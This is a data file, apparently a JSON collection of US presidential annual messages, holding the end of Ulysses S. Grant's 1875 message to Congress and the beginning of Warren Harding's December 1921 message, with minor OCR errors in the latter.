United\nStates. At that time there was a telegraphic connection between the United\nStates and the continent of Europe (through the possessions of Great\nBritain at either end of the line), under the control of an association\nwhich had, at large outlay of capital and at great risk, demonstrated the\npracticability of maintaining such means of communication. The cost of\ncorrespondence by this agency was great, possibly not too large at the time\nfor a proper remuneration for so hazardous and so costly an enterprise. It\nwas, however, a heavy charge upon a means of communication which the\nprogress in the social and commercial intercourse of the world found to be\na necessity, and the obtaining of this French concession showed that other\ncapital than that already invested was ready to enter into competition,\nwith assurance of adequate return for their outlay. Impressed with the\nconviction that the interests, not only of the people of the United States,\nbut of the world at large, demanded, or would demand, the multiplication of\nsuch means of communication between separated continents, I was desirous\nthat the proposed connection should be made; but certain provisions of this\nconcession were deemed by me to be objectionable, particularly one which\ngave for a long term of years the exclusive right of telegraphic\ncommunication by submarine cable between the shores of France and the\nUnited States. I could not concede that any power should claim the right to\nland a cable on the shores of the United States and at the same time deny\nto the United States, or to its citizens or grantees, an equal fight to\nland a cable on its shores. The right to control the conditions for the\nlaying of a cable within the jurisdictional waters of the United States, to\nconnect our shores with those of any foreign state, pertains exclusively to\nthe Government of the United States, under such limitations and conditions\nas Congress may impose. In the absence of legislation by Congress I was\nunwilling, on the one hand, to yield to a foreign state the right to say\nthat its grantees might land on our shores while it denied a similar right\nto our people to land on its shores, and, on the other hand, I was\nreluctant to deny to the great interests of the world and of civilization\nthe facilities of such communication as were proposed. I therefore withheld\nany resistance to the landing of the cable on condition that the offensive\nmonopoly feature of the concession be abandoned, and that the right of any\ncable which may be established by authority of this Government to land upon\nFrench territory and to connect with French land lines and enjoy all the\nnecessary facilities or privileges incident to the use thereof upon as\nfavorable terms as any other company be conceded. As the result thereof the\ncompany in question renounced the exclusive privilege, and the\nrepresentative of France was informed that, understanding this\nrelinquishment to be construed as granting the entire reciprocity and equal\nfacilities which had been demanded, the opposition to the landing of the\ncable was withdrawn. The cable, under this French concession, was landed in\nthe month of July, 1869, and has been an efficient and valuable agent of\ncommunication between this country and the other continent. It soon passed\nunder the control, however, of those who had the management of the cable\nconnecting Great Britain with this continent, and thus whatever benefit to\nthe public might have ensued from competition between the two lines was\nlost, leaving only the greater facilities of an additional line and the\nadditional security in case of accident to one of them. But these increased\nfacilities and this additional security, together with the control of the\ncombined capital of the two companies, gave also greater power to prevent\nthe future construction of other lines and to limit the control of\ntelegraphic communication between the two continents to those possessing\nthe lines already laid. Within a few months past a cable has been laid,\nknown as the United States Direct Cable Company, connecting the United\nStates directly with Great Britain. As soon as this cable was reported to\nbe laid and in working order the rates of the then existing consolidated\ncompanies were greatly reduced. Soon, however, a break was announced in\nthis new cable, and immediately the rates of the other line, which had been\nreduced, were again raised. This cable being now repaired, the rates appear\nnot to be reduced by either line from those formerly charged by the\nconsolidated companies.There is reason to believe that large amounts of capital, both at home and\nabroad, are ready to seek profitable investment in the advancement of this\nuseful and most civilizing means of intercourse and correspondence. They\nawait, however, the assurance of the means and conditions on which they may\nsafely be made tributary to the general good.As these cable telegraph lines connect separate states, there are questions\nas to their organization and control which probably can be best, if not\nsolely, settled by conventions between the respective states. In the\nabsence, however, of international conventions on the subject, municipal\nlegislation may secure many points which appear to me important, if not\nindispensable for the protection of the public against the extortions which\nmay result from a monopoly of the right of operating cable telegrams or\nfrom a combination between several lines:I. No line should be allowed to land on the shores of the United States\nunder the concession from another power which does not admit the right of\nany other line or lines, formed in the United States, to land and freely\nconnect with and operate through its land lines.II. No line should be allowed to land on the shores of the United States\nwhich is not, by treaty stipulation with the government from whose shores\nit proceeds, or by prohibition in its charter, or otherwise to the\nsatisfaction of this Government, prohibited from consolidating or\namalgamating with any other cable telegraph line, or combining therewith\nfor the purpose of regulating and maintaining the cost of telegraphing.III. All lines should be bound to give precedence in the transmission of\nthe official messages of the governments of the two countries between which\nit may be laid.IV. A power should be reserved to the two governments, either conjointly or\nto each, as regards the messages dispatched from its shores, to fix a limit\nto the charges to be demanded for the transmission of messages.I present this subject to the earnest consideration of Congress.In the meantime, and unless Congress otherwise direct, I shall not oppose\nthe landing of any telegraphic cable which complies with and assents to the\npoints above enumerated, but will feel it my duty to prevent the landing of\nany which does not conform to the first and second points as stated, and\nwhich will not stipulate to concede to this Government the precedence in\nthe transmission of its official messages and will not enter into a\nsatisfactory arrangement with regard to its charges.Among the pressing and important subjects to which, in my opinion, the\nattention of Congress should be directed are those relating to fraudulent\nnaturalization and expatriation.The United States, with great liberality, offers its citizenship to all who\nin good faith comply with the requirements of law. These requirements are\nas simple and upon as favorable terms to the emigrant as the high privilege\nto which he is admitted can or should permit. I do not propose any\nadditional requirements to those which the law now demands; but the very\nsimplicity and the want of unnecessary formality in our law have made\nfraudulent naturalization not infrequent, to the discredit and injury of\nall honest citizens, whether native or naturalized. Cases of this character\nare continually being brought to the notice of the Government by our\nrepresentatives abroad, and also those of persons resident in other\ncountries, most frequently those who, if they have remained in this country\nlong enough to entitle them to become naturalized, have generally not much\noverpassed that period, and have returned to the country of their origin,\nwhere they reside, avoiding all duties to the United States by their\nabsence, and claiming to be exempt from all duties to the country of their\nnativity and of their residence by reason of their alleged naturalization.\nIt is due to this Government itself and to the great mass of the\nnaturalized citizens who entirely, both in name and in fact, become\ncitizens of the United States that the high privilege of citizenship of the\nUnited States should not be held by fraud or in derogation of the laws and\nof the good name of every honest citizen. On many occasions it has been\nbrought to the knowledge of the Government that certificates of\nnaturalization are held and protection or interference claimed by parties\nwho admit that not only they were not within the United States at the time\nof the pretended naturalization, but that they have never resided in the\nUnited States; in others the certificate and record of the court show on\ntheir face that the person claiming to be naturalized had not resided the\nrequired time in the United States; in others it is admitted upon\nexamination that the requirements of law have not been complied with; in\nsome cases, even, such certificates have been matter of purchase. These are\nnot isolated cases, arising at rare intervals, but of common occurrence,\nand which are reported from all quarters of the globe. Such occurrences can\nnot, and do not, fail to reflect upon the Government and injure all honest\ncitizens. Such a fraud being discovered, however, there is no practicable\nmeans within the control of the Government by which the record of\nnaturalization can be vacated; and should the certificate be taken up, as\nit usually is, by the diplomatic and consular representatives of the\nGovernment to whom it may have been presented, there is nothing to prevent\nthe person claiming to have been naturalized from obtaining a new\ncertificate from the court in place of that which has been taken from him.The evil has become so great and of such frequent occurrence that I can not\ntoo earnestly recommend that some effective measures be adopted to provide\na proper remedy and means for the vacating of any record thus fraudulently\nmade, and of punishing the guilty parties to the transaction.In this connection I refer also to the question of expatriation and the\nelection of nationality.The United States was foremost in upholding the right of expatriation, and\nwas principally instrumental in overthrowing the doctrine of perpetual\nallegiance. Congress has declared the right of expatriation to be a natural\nand inherent right of all people; but while many other nations have enacted\nlaws providing what formalities shall be necessary to work a change of\nallegiance, the United States has enacted no provisions of law and has in\nno respect marked out how and when expatriation may be accomplished by its\ncitizens. Instances are brought to the attention of the Government where\ncitizens of the United States, either naturalized or native born, have\nformally become citizens or subjects of foreign powers, but who,\nnevertheless, in the absence of any provisions of legislation on this\nquestion, when involved in difficulties or when it seems to be their\ninterest, claim to be citizens of the United States and demand the\nintervention of a Government which they have long since abandoned and to\nwhich for years they have rendered no service nor held themselves in any\nway amenable.In other cases naturalized citizens, immediately after naturalization, have\nreturned to their native country; have become engaged in business; have\naccepted offices or pursuits inconsistent with American citizenship, and\nevidence no intent to return to the United States until called upon to\ndischarge some duty to the country where they are residing, when at once\nthey assert their citizenship and call upon the representatives of the\nGovernment to aid them in their unjust pretensions. It is but justice to\nall bona fide citizens that no doubt should exist on such questions, and\nthat Congress should determine by enactment of law how expatriation may be\naccomplished and change of citizenship be established.I also invite your attention to the necessity of regulating by law the\nstatus of American women who may marry foreigners, and of defining more\nfully that of children born in a foreign country of American parents who\nmay reside abroad; and also of some further provision regulating or giving\nlegal effect to marriages of American citizens contracted in foreign\ncountries. The correspondence submitted herewith shows a few of the\nconstantly occurring questions on these points presented to the\nconsideration of the Government. There are few subjects to engage the\nattention of Congress on which more delicate relations or more important\ninterests are dependent.In the month of July last the building erected for the Department of State\nwas taken possession of and occupied by that Department. I am happy to\nannounce that the archives and valuable papers of the Government in the\ncustody of that Department are now safely deposited and properly cared\nfor.The report of the Secretary of the Treasury shows the receipts from customs\nfor the fiscal year ending June 30, 1874, to have been $163,103,833.69, and\nfor the fiscal year ending June 30, 1875, to have been $157,267,722.35, a\ndecrease for the last fiscal year of $5,936,111.34. Receipts from internal\nrevenue for the year ending the 30th of June, 1874, were $102,409,784.90,\nand for the year ending June 30, 1875, $110,007,493.58; increase,\n$7,597,708.68.The report also shows a complete history of the workings of the Department\nfor the last year, and contains recommendations for reforms and for\nlegislation which I concur in, but can not comment on so fully as I should\nlike to do if space would permit, but will confine myself to a few\nsuggestions which I look upon as vital to the best interests of the whole\npeople--coming within the purview of \"Treasury;\" I mean specie resumption.\nToo much stress can not be laid upon this question, and I hope Congress may\nbe induced, at the earliest day practicable, to insure the consummation of\nthe act of the last Congress, at its last session, to bring about specie\nresumption \"on and after the 1st of January, 1879,\" at furthest. It would\nbe a great blessing if this could be consummated even at an earlier day.Nothing seems to me more certain than that a full, healthy, and permanent\nreaction can not take place in favor of the industries and financial\nwelfare of the country until we return to a measure of values recognized\nthroughout the civilized world. While we use a currency not equivalent to\nthis standard the world's recognized standard, specie, becomes a commodity\nlike the products of the soil, the surplus seeking a market wherever there\nis a demand for it.Under our present system we should want none, nor would we have any, were\nit not that customs dues must be paid in coin and because of the pledge to\npay interest on the public debt in coin. The yield of precious metals would\nflow out for the purchase of foreign productions and the United States\n\"hewers of wood and drawers of water,\" because of wiser legislation on the\nsubject of finance by the nations with whom we have dealings. I am not\nprepared to say that I can suggest the best legislation to secure the end\nmost heartily recommended. It will be a source of great gratification to me\nto be able to approve any measure of Congress looking effectively toward\nsecuring \"resumption.\"Unlimited inflation would probably bring about specie payments more\nspeedily than any legislation looking to redemption of the legal-tenders in\ncoin; but it would be at the expense of honor. The legal-tenders would have\nno value beyond settling present liabilities, or, properly speaking,\nrepudiating them. They would buy nothing after debts were all settled.There are a few measures which seem to me important in this connection and\nwhich I commend to your earnest consideration:A repeal of so much of the legal-tender act as makes these notes receivable\nfor debts contracted after a date to be fixed in the act itself, say not\nlater than the 1st of January, 1877. We should then have quotations at real\nvalues, not fictitious ones. Gold would no longer be at a premium, but\ncurrency at a discount. A healthy reaction would set in at once, and with\nit a desire to make the currency equal to what it purports to be. The\nmerchants, manufacturers, and tradesmen of every calling could do business\non a fair margin of profit, the money to be received having an unvarying\nvalue. Laborers and all classes who work for stipulated pay or salary would\nreceive more for their income, because extra profits would no longer be\ncharged by the capitalists to compensate for the risk of a downward\nfluctuation in the value of the currency.Second. That the Secretary of the Treasury be authorized to redeem, say,\nnot to exceed $2,000,000 monthly of legal-tender notes, by issuing in their\nstead a long bond, bearing interest at the rate of 3.65 per cent per annum,\nof denominations ranging from $50 up to $1,000 each. This would in time\nreduce the legal-tender notes to a volume that could be kept afloat without\ndemanding redemption in large sums suddenly.Third. That additional power be given to the Secretary of the Treasury to\naccumulate gold for final redemption, either by increasing revenue,\ncurtailing expenses, or both (it is preferable to do both); and I recommend\nthat reduction of expenditures be made wherever it can be done without\nimpairing Government obligations or crippling the due execution thereof.\nOne measure for increasing the revenue--and the only one I think of--is the\nrestoration of the duty on tea and coffee. These duties would add probably\n$18,000,000 to the present amount received from imports, and would in no\nway increase the prices paid for those articles by the consumers.These articles are the products of countries collecting revenue from\nexports, and as we, the largest consumers, reduce the duties they\nproportionately increase them. With this addition to the revenue, many\nduties now collected, and which give but an insignificant return for the\ncost of collection, might be remitted, and to the direct advantage of\nconsumers at home.I would mention those articles which enter into manufactures of all sorts.\nAll duty paid upon such articles goes directly to the cost of the article\nwhen manufactured here, and must be paid for by the consumers. These duties\nnot only come from the consumers at home, but act as a protection to\nforeign manufacturers of the same completed articles in our own and distant\nmarkets.I will suggest or mention another subject bearing upon the problem of \"how\nto enable the Secretary of the Treasury to accumulate balances.\" It is to\ndevise some better method of verifying claims against the Government than\nat present exists through the Court of Claims, especially those claims\ngrowing out of the late war. Nothing is more certain than that a very large\npercentage of the amounts passed and paid are either wholly fraudulent or\nare far in excess of the real losses sustained. The large amount of losses\nproven--on good testimony according to existing laws, by affidavits of\nfictitious or unscrupulous persons--to have been sustained on small farms\nand plantations are not only far beyond the possible yield of those places\nfor any one year, but, as everyone knows who has had experience in tilling\nthe soil and who has visited the scenes of these spoliations, are in many\ninstances more than the individual claimants were ever worth, including\ntheir personal and real estate.The report of the Attorney-General, which will be submitted to Congress at\nan early day, will contain a detailed history of awards made and of claim\npending of the class here referred to.The report of the Secretary of War, accompanying this message, gives a\ndetailed account of Army operations for the year just passed, expenses for\nmaintenance, etc., with recommendations for legislation to which I\nrespectfully invite your attention. To some of these I invite special\nattention:First. The necessity of making $300,000 of the appropriation for the\nSubsistence Department available before the beginning of the next fiscal\nyear. Without this provision troops at points distant from supply\nproduction must either go without food or existing laws must be violated.\nIt is not attended with cost to the Treasury.Second. His recommendation for the enactment of a system of annuities for\nthe families of deceased officers by voluntary deductions from the monthly\npay of officers. This again is not attended with burden upon the Treasury,\nand would for the future relieve much distress which every old army officer\nhas witnessed in the past--of officers dying suddenly or being killed,\nleaving families without even the means of reaching their friends, if\nfortunate enough to have friends to aid them.Third. The repeal of the law abolishing mileage, and a return to the old\nsystem.Fourth. The trial with torpedoes under the Corps of Engineers, and\nappropriation for the same. Should war ever occur between the United States\nand any maritime power, torpedoes will be among if not the most effective\nand cheapest auxiliary for the defense of harbors, and also in aggressive\noperations, that we can have. Hence it is advisable to learn by experiment\ntheir best construction and application, as well as effect.Fifth. A permanent organization for the Signal-Service Corps. This service\nhas now become a necessity of peace as well as war, under the advancement\nmade by the present able management.Sixth. A renewal of the appropriation for compiling the official records of\nthe war, etc.The condition of our Navy at this time is a subject of satisfaction. It\ndoes not contain, it is true, any of the powerful cruising ironclads which\nmake so much of the maritime strength of some other nations, but neither\nour continental situation nor our foreign policy requires that we should\nhave a large number of ships of this character, while this situation and\nthe nature of our ports combine to make those of other nations little\ndangerous to us under any circumstances.Our Navy does contain, however, a considerable number of ironclads of the\nmonitor class, which, though not properly cruisers, are powerful and\neffective for harbor defense and for operations near our own shores. Of\nthese all the single-turreted ones, fifteen in number, have been\nsubstantially rebuilt, their rotten wooden beams replaced with iron, their\nhulls strengthened, and their engines and machinery thoroughly repaired, so\nthat they are now in the most efficient condition and ready for sea as soon\nas they can be manned and put in commission.The five double-turreted ironclads belonging to our Navy, by far the most\npowerful of our ships for fighting purposes, are also in hand undergoing\ncomplete repairs, and could be ready for sea in periods varying from four\nto six months. With these completed according to the present design and our\ntwo iron torpedo boats now ready, our ironclad fleet will be, for the\npurposes of defense at home, equal to any force that can readily be brought\nagainst it.Of our wooden navy also cruisers of various sizes, to the number of about\nforty, including those now in commission, are in the Atlantic, and could be\nready for duty as fast as men could be enlisted for those not already in\ncommission. Of these, one-third are in effect new ships, and though some of\nthe remainder need considerable repairs to their boilers and machinery,\nthey all are, or can readily be made, effective.This constitutes a fleet of more than fifty war ships, of which fifteen are\nironclad, now in hand on the Atlantic coast. The Navy has been brought to\nthis condition by a judicious and practical application of what could be\nspared from the current appropriations of the last few years and from that\nmade to meet the possible emergency of two years ago. It has been done\nquietly, without proclamation or display, and though it has necessarily\nstraitened the Department in its ordinary expenditure, and, as far as the\nironclads are concerned, has added nothing to the cruising force of the\nNavy, yet the result is not the less satisfactory because it is to be found\nin a great increase of real rather than apparent force. The expenses\nincurred in the maintenance of an effective naval force in all its branches\nare necessarily large, but such force is essential to our position,\nrelations, and character, and affects seriously the weight of our\nprinciples and policy throughout the whole sphere of national\nresponsibilities.The estimates for the regular support of this branch of the service for the\nnext year amount to a little less in the aggregate than those made for the\ncurrent year; but some additional appropriations are asked for objects not\nincluded in the ordinary maintenance of the Navy, but believed to be of\npressing importance at this time. It would, in my opinion, be wise at once\nto afford sufficient means for the immediate completion of the five\ndouble-turreted monitors now undergoing repairs, which must otherwise\nadvance slowly, and only as money can be spared from current expenses.\nSupplemented by these, our Navy, armed with the destructive weapons of\nmodern warfare, manned by our seamen, and in charge of our instructed\nofficers, will present a force powerful for the home purposes of a\nresponsible though peaceful nation.The report of the Postmaster-General herewith transmitted gives a full\nhistory of the workings of the Department for the year just past. It will\nbe observed that the deficiency to be supplied from the General Treasury is\nincreased over the amount required for the preceding year. In a country so\nvast in area as the United States, with large portions sparsely settled, it\nmust be expected that this important service will be more or less a burden\nupon the Treasury for many years to come. But there is no branch of the\npublic service which interests the whole people more than that of cheap and\nrapid transmission of the mails to every inhabited part of our territory.\nNext to the free school, the post-office is the great educator of the\npeople, and it may well receive the support of the General Government.The subsidy of $150,000 per annum given to vessels of the United States for\ncarrying the mails between New York and Rio de Janeiro having ceased on the\n30th day of September last, we are without direct mail facilities with the\nSouth American States. This is greatly to be regretted, and I do not\nhesitate to recommend the authorization of a renewal of that contract, and\nalso that the service may be increased from monthly to semi-monthly trips.\nThe commercial advantages to be gained by a direct line of American\nsteamers to the South American States will far outweigh the expense of the\nservice.By act of Congress approved March 3, 1875, almost all matter, whether\nproperly mail matter or not, may be sent any distance through the mails, in\npackages not exceeding 4 pounds in weight, for the sum of 16 cents per\npound. So far as the transmission of real mail matter goes, this would seem\nentirely proper; but I suggest that the law be so amended as to exclude\nfrom the mails merchandise of all descriptions, and limit this\ntransportation to articles enumerated, and which may be classed as mail\nmatter proper.The discovery of gold in the Black Hills, a portion of the Sioux\nReservation, has had the effect to induce a large emigration of miners to\nthat point. Thus far the effort to protect the treaty rights of the Indians\nto that section has been successful, but the next year will certainly\nwitness a large increase of such emigration. The negotiations for the\nrelinquishment of the gold fields having failed, it will be necessary for\nCongress to adopt some measures to relieve the embarrassment growing out of\nthe causes named. The Secretary of the Interior suggests that the supplies\nnow appropriated for the sustenance of that people, being no longer\nobligatory under the treaty of 1868, but simply a gratuity, may be issued\nor withheld at his discretion.The condition of the Indian Territory, to which I have referred in several\nof my former annual messages, remains practically unchanged. The Secretary\nof the Interior has taken measures to obtain a full report of the condition\nof that Territory, and will make it the subject of a special report at an\nearly day. It may then be necessary to make some further recommendation in\nregard to legislation for the government of that Territory.The steady growth and increase of the business of the Patent Office\nindicates in some measure the progress of the industrial activity of the\ncountry. The receipts of the office are in excess of its expenditures, and\nthe office generally is in a prosperous and satisfactory condition.The report of the General Land Office shows that there were 2,459,601 acres\nless disposed of during this than during the last year. More than one-half\nof this decrease was in lands disposed of under the homestead and\ntimber-culture laws. The cause of this decrease is supposed to be found in\nthe grasshopper scourge and the droughts which prevailed so extensively in\nsome of the frontier States and Territories during that time as to\ndiscourage and deter entries by actual settlers. The cash receipts were\nless by $690,322.23 than during the preceding year.The entire surveyed area of the public domain is 680,253,094 acres, of\nwhich 26,077,531 acres were surveyed during the past year, leaving\n1,154,471,762 acres still unsurveyed.The report of the Commissioner presents many interesting suggestions in\nregard to the management and disposition of the public domain and the\nmodification of existing laws, the apparent importance of which should\ninsure for them the careful consideration of Congress.The number of pensioners still continues to decrease, the highest number\nhaving been reached during the year ending June 30, 1873. During the last\nyear 11,557 names were added to the rolls, and 12,977 were dropped\ntherefrom, showing a net decrease of 1,420. But while the number of\npensioners has decreased, the annual amount due on the pension rolls has\nincreased $44,733.13. This is caused by the greatly increased average rate\nof pensions, which, by the liberal legislation of Congress, has increased\nfrom $90.26 in 1872 to $103.91 in 1875 to each invalid pensioner, an\nincrease in the average rate of 15 per cent in the three years. During the\nyear ending June 30, 1875, there was paid on account of pensions, including\nthe expenses of disbursement, $29,683,116, being $910,632 less than was\npaid the preceding year. This reduction in amount of expenditures was\nproduced by the decrease in the amount of arrearages due on allowed claims\nand on pensions the rate of which was increased by the legislation of the\npreceding session of Congress. At the close of the last fiscal year there\nwere on the pension rolls 234,821 persons, of whom 210,363 were army\npensioners, 105,478 being invalids and 104,885 widows and dependent\nrelatives; 3,420 were navy pensioners, of whom 1,636 were invalids and\n1,784 widows and dependent relatives; 21,038 were pensioners of the War of\n1812, 15,875 of whom were survivors and 5,163 were widows.It is estimated that $29,535,000 will be required for the payment of\npensions for the next fiscal year, an amount $965,000 less than the\nestimate for the present year.The geological explorations have been prosecuted with energy during the\nyear, covering an area of about 40,000 square miles in the Territories of\nColorado, Utah, and New Mexico, developing the agricultural and mineral\nresources and furnishing interesting scientific and topographical details\nof that region.The method for the treatment of the Indians adopted at the beginning of my\nfirst term has been steadily pursued, and with satisfactory and encouraging\nresults. It has been productive of evident improvement in the condition of\nthat race, and will be continued, with only such modifications as further\nexperience may indicate to be necessary.The board heretofore appointed to take charge of the articles and materials\npertaining to the War, the Navy, the Treasury, the Interior, and the\nPost-Office Departments, and the Department of Agriculture, the Smithsonian\nInstitution, and the Commission of Food Fishes, to be contributed, under\nthe legislation of last session, to the international exhibition to be held\nat Philadelphia during the centennial year 1876, has been diligent in the\ndischarge of the duties which have devolved upon it; and the preparations\nso far made with the means at command give assurance that the governmental\ncontribution will be made one of the marked characteristics of the\nexhibition. The board has observed commendable economy in the matter of the\nerection of a building for the governmental exhibit, the expense of which\nit is estimated will not exceed, say, $80,000. This amount has been\nwithdrawn, under the law, from the appropriations of five of the principal\nDepartments, which leaves some of those Departments without sufficient\nmeans to render their respective practical exhibits complete and\nsatisfactory. The exhibition being an international one, and the Government\nbeing a voluntary contributor, it is my opinion that its contribution\nshould be of a character, in quality and extent, to sustain the dignity and\ncredit of so distinguished a contributor. The advantages to the country of\na creditable display are, in an international point of view, of the first\nimportance, while an indifferent or uncreditable participation by the\nGovernment would be humiliating to the patriotic feelings of our people\nthemselves. I commend the estimates of the board for the necessary\nadditional appropriations to the favorable consideration of Congress.The powers of Europe almost without exception, many of the South American\nStates, and even the more distant Eastern powers have manifested their\nfriendly sentiments toward the United States and the interest of the world\nin our progress by taking steps to join with us in celebrating the\ncentennial of the nation, and I strongly recommend that a more national\nimportance be given to this exhibition by such legislation and by such\nappropriation as will insure its success. Its value in bringing to our\nshores innumerable useful works of art and skill, the commingling of the\ncitizens of foreign countries and our own, and the interchange of ideas and\nmanufactures will far exceed any pecuniary outlay we may make.I transmit herewith the report of the Commissioner of Agriculture, together\nwith the reports of the Commissioners, the board of audit, and the board of\nhealth of the District of Columbia, to all of which I invite your\nattention.The Bureau of Agriculture has accomplished much in disseminating useful\nknowledge to the agriculturist, and also in introducing new and useful\nproductions adapted to our soil and climate, and is worthy of the continued\nencouragement of the Government.The report of the Commissioner of Education, which accompanies the report\nof the Secretary of the Interior, shows a gratifying progress in\neducational matters.In nearly every annual message that I have had the honor of transmitting to\nCongress I have called attention to the anomalous, not to say scandalous,\ncondition of affairs existing in the Territory of Utah, and have asked for\ndefinite legislation to correct it. That polygamy should exist in a free,\nenlightened, and Christian country, without the power to punish so flagrant\na crime against decency and morality, seems preposterous. True, there is no\nlaw to sustain this unnatural vice; but what is needed is a law to punish\nit as a crime, and at the same time to fix the status of the innocent\nchildren, the offspring of this system, and of the possibly innocent plural\nwives. But as an institution polygamy should be banished from the land.While this is being done I invite the attention of Congress to another,\nthough perhaps no less an evil--the importation of Chinese women, but few\nof whom are brought to our shores to pursue honorable or useful\noccupations.Observations while visiting the Territories of Wyoming, Utah, and Colorado\nduring the past autumn convinced me that existing laws regulating the\ndisposition of public lands, timber, etc., and probably the mining laws\nthemselves, are very defective and should be carefully amended, and at an\nearly day. Territory where cultivation of the soil can only be followed by\nirrigation, and where irrigation is not practicable the lands can only be\nused as pasturage, and this only where stock can reach water (to quench its\nthirst), can not be governed by the same laws as to entries as lands every\nacre of which is an independent estate by itself.Land must be held in larger quantities to justify the expense of conducting\nwater upon it to make it fruitful, or to justify utilizing it as pasturage.\nThe timber in most of the Territories is principally confined to the\nmountain regions, which are held for entry in small quantities only, and as\nmineral lands. The timber is the property of the United States, for the\ndisposal of which there is now no adequate law. The settler must become a\nconsumer of this timber, whether he lives upon the plain or engages in\nworking the mines. Hence every man becomes either a trespasser himself or\nknowingly a patron of trespassers.My opportunities for observation were not sufficient to justify me in\nrecommending specific legislation on these subjects, but I do recommend\nthat a joint committee of the two Houses of Congress, sufficiently large to\nbe divided into subcommittees, be organized to visit all the mining States\nand Territories during the coming summer, and that the committee shall\nreport to Congress at the next session such laws or amendments to laws as\nit may deem necessary to secure the best interests of the Government and\nthe people of these Territories, who are doing so much for their\ndevelopment.I am sure the citizens occupying the territory described do not wish to be\ntrespassers, nor will they be if legal ways are provided for them to become\nowners of these actual necessities of their position.As this will be the last annual message which I shall have the honor of\ntransmitting to Congress before my successor is chosen, I will repeat or\nrecapitulate the questions which I deem of vital importance which may be\nlegislated upon and settled at this session:First. That the States shall be required to afford the opportunity of a\ngood common-school education to every child within their limits.Second. No sectarian tenets shall ever be taught in any school supported in\nwhole or in part by the State, nation, or by the proceeds of any tax levied\nupon any community. Make education compulsory so far as to deprive all\npersons who can not read and write from becoming voters after the year\n1890, disfranchising none, however, on grounds of illiteracy who may be\nvoters at the time this amendment takes effect.Third. Declare church and state forever separate and distinct, but each\nfree within their proper spheres; and that all church property shall bear\nits own proportion of taxation.Fourth. Drive out licensed immorality, such as polygamy and the importation\nof women for illegitimate purposes. To recur again to the centennial year,\nit would seem as though now, as we are about to begin the second century of\nour national existence, would be a most fitting time for these reforms.Fifth. Enact such laws as will insure a speedy return to a sound currency,\nsuch as will command the respect of the world.Believing that these views will commend themselves to the great majority of\nthe right-thinking and patriotic citizens of the United States, I submit\nthe rest to Congress.U. S. GRANT", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 6, 1921", 
+    "speech": "MR. SPEAKER AND MEMBERS OF THE CONGRESS:It is a very gratifying privilege to come to the Congress with the Republic\nat peace with all the nations of the world. More, it is equally gratifying\nto report that our country is not only free from every impending, menace of\nwar, but there are growing assurances of the permanency of the peace which\nwe so deeply cherish.For approximately ten years we have dwelt amid menaces of war or as\nparticipants in war's actualities, and the inevitable aftermath, with its\ndisordered conditions, bits added to the difficulties of government which\nadequately can not be appraised except by, those who are in immediate\ncontact and know the responsibilities. Our tasks would be less difficult if\nwe had only ourselves to consider, but so much of the world was involved,\nthe disordered conditions are so well-nigh universal, even among nations\nnot engaged in actual warfare, that no permanent readjustments can be\neffected without consideration of our inescapable relationship to world\naffairs in finance and trade. Indeed, we should be unworthy of our best\ntraditions if we were unmindful of social, moral, and political conditions\nwhich are not of direct concern to us, but which do appeal to the human\nsympathies and the very becoming interest of a people blest with our\nnational good fortune.It is not my purpose to bring to you a program of world restoration. In the\nmain such a program must be worked out by the nations more directly\nconcerned. They must themselves turn to the heroic remedies for the\nmenacing conditions under which they are struggling, then we can help, and\nwe mean to help. We shall do so unselfishly because there is compensation\nin the consciousness of assisting, selfishly because the commerce and\ninternational exchanges in trade, which marked our high tide of fortunate\nadvancement, are possible only when the nations of all continents are\nrestored to stable order and normal relationship.In the main the contribution of this Republic to restored normalcy in the\nworld must come through the initiative of the executive branch of the\nGovernment, but the best of intentions and most carefully considered\npurposes would fail utterly if the sanction and the cooperation of Congress\nwere not cheerfully accorded.I am very sure we shall have no conflict of opinion about constitutional\nduties or authority. During the anxieties of war, when necessity seemed\ncompelling there were excessive grants of authority and all extraordinary\nconcentration of powers in the Chief Executive. The repeal of war-time\nlegislation and the automatic expirations which attended the peace\nproclamations have put an end to these emergency excesses but I have the\nwish to go further than that. I want to join you ill restoring-, ill the\nmost cordial way, the spirit of coordination and cooperation, and that\nmutuality of confidence and respect which is necessary ill representative\npopular government.Encroachment upon the functions of Congress or attempted dictation of its\npolicy are not to be thought of, much less attempted, but there is all\ninsistent call for harmony of purpose and concord of action to speed the\nsolution of the difficult problems confronting both the legislative and\nexecutive branches of the Government.It is worth while to make allusion here to the character of our Clove\nGovernment, mindful as one must be that an address to you is no less it\nmessage to all our people, for whom you speak most intimately. Ours is it\npopular Government through political parties. We divide along political\nlines, and I would ever have it so. I do not mean that partisan preferences\nshould hinder any public servant in the performance of a conscientious and\npatriotic official duty. We saw partisan lines utterly obliterated when war\nimperiled, and our faith in the Republic was riveted anew. We ought not to\nfind these partisan lines obstructing the expeditious solution of the\nurgent problems of peace.Granting that we are fundamentally a representative popular Government,\nwith political parties the governing agencies, I believe the political\nparty in power should assume responsibility, determine upon policies ill\nthe conference which supplements conventions and election campaigns, and\nthen strive for achievement through adherence to the accepted policy.There is vastly greater security, immensely more of the national\nviewpoint, much larger and prompter accomplishment where our divisions are\nalong party lines, in the broader and loftier sense, than to divide\ngeographically, or according to pursuits, or personal following. For a\ncentury and a third, parties have been charged with responsibility and held\nto strict accounting. When they fail, they are relieved of authority; and\nthe system has brought its to a national eminence no less than a world\nexample.Necessarily legislation is a matter of compromise. The full ideal is seldom\nattained. In that meeting of minds necessary to insure results, there must\nand will be accommodations and compromises, but in the estimate of\nconvictions and sincere put-poses the supreme responsibility to national\ninterest must not be ignored. The shield to the high-minded public servant\nwho adheres to party policy is manifest, but the higher purpose is the good\nof the Republic as a whole.It would be ungracious to withhold acknowledgment of the really large\nvolume and excellent quality of work accomplished by the extraordinary\nsession of Congress which so recently adjourned. I am not unmindful of the\nvery difficult tasks with which you were called to deal, and no one can\nignore the insistent conditions which, during recent years, have called for\nthe continued and almost exclusive attention of your membership to public\nwork. It would suggest insincerity if I expressed complete accord with\nevery expression recorded in your roll calls, but we are all agreed about\nthe difficulties and the inevitable divergence of opinion in seeking the\nreduction, amelioration and readjustment of the burdens of taxation. Later\non, when other problems are solved, I shall make some recommendations about\nrenewed consideration of our tax program, but for the immediate time before\nus we must be content with the billion dollar reduction in the tax draft\nupon the people, and diminished irritations, banished uncertainty and\nimproved methods of collection. By your sustainment of the rigid economies\nalready inaugurated, with hoped-for extension of these economies and added\nefficiencies in administration, I believe further reductions may be enacted\nand hindering burdens abolished.In these urgent economies we shall be immensely assisted by the budget\nsystem for which you made provision in the extraordinary session. The first\nbudget is before you. Its preparation is a 